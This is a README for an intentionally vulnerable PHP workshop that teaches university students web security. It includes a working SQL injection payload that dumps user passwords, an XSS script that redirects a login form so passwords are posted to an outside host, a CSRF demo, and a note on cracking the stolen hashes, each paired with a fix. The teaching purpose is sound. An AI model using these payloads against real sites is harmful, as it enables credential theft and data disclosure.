DISCLAIMER: code in this demonstration are intentionally vulnerable. Do not use this code in your application!
Designed for students of KIV/WEB of University of West Bohemia
Older version of this workshop is available here
- PHP >=7.1
- PHP extensions PDO and pdo_sqlite
Clone this repository git clone https://github.com/peoplepath/workshop-web-security.git
or download ZIP file
Inside downloaded project run
php -S 127.0.0.1:8080
Then goto http://127.0.0.1:8080/
- go to http://127.0.0.1:8080/sql-injection
- search for
' UNION SELECT name,password FROM user --
- observe disclosed password
Prepare statement
// prepare SQL statement on DB without arguments
$statement = $pdo->prepare($sql);
// send arguments separately (safely)
$statement->execute(['%' . $query . '%']);
// execute as normal
$users = $statement->fetchAll();
- goto http://127.0.0.1:8080/xss
- put following comment
❤️<script>
var form = document.querySelector('form');
form.setAttribute('action', 'https://httpbin.org/post');
form.setAttribute('target', '_blank');
</script>
- observe that all following backer are sending passwords to malicious server
escape your outputs
echo htmlspecialchars($comment);
- goto http://127.0.0.1:8080/csrf
- login
- open http://127.0.0.1:8080/kittens.php
- go back to http://127.0.0.1:8080/csrf
- observe that new order was created under your login
use $_POST
for request which modifies data
// verify CSRF token send with form is valid
if ($_SESSION['csrf'] !== $_POST['csrf']) {
http_response_code(403);
exit;
}
// generate CSRF token for the next request
$_SESSION['csrf'] = bin2hex(random_bytes(16));
- todo http://127.0.0.1:8080/.git/HEAD
- observe that you have complete access to
.git
folder therefore to all files
- build application without
.git
- separate public content (images, styles, etc.)
- adjust configuration of your web server, eg.
# denied all files
<RequireAll>
Require all denied
</RequireAll>
# whitelist only *.php and other files
<Directory "public">
<FilesMatch "((^$)|(^.+\.(css|map|js)$))">
Require all granted
</FilesMatch>
</Directory>
- obtain password hashes by SQL injection attack
- crack passwords by arbitrary online cracker (Rainbow table)
- Full list of attacks
- Twitter
- Michal Špaček @spazef0rze
- Vladimír Smitka @smitka
- Content Security Policy
- OWASP XSS
- OWASP testing for XSS
- PHP triky: Cross Site Scripting (czech only)
- OWASP SQL injection
- Soom: SQL Injection (Full Paper) (czech only)
- PHP triky: Obrana proti SQL Injection (czech only)
- OWASP CSFR
- Soom (czech only)
- PHP triky: Cross-Site Request Forgery (czech only)
- Co je Cross-Site Request Forgery a jak se mu bránit (czech only)
- Self tweeting tweet
- XSS in Avast Desktop AntiVirus
- JWT vulnerabilities (eg. Key injection)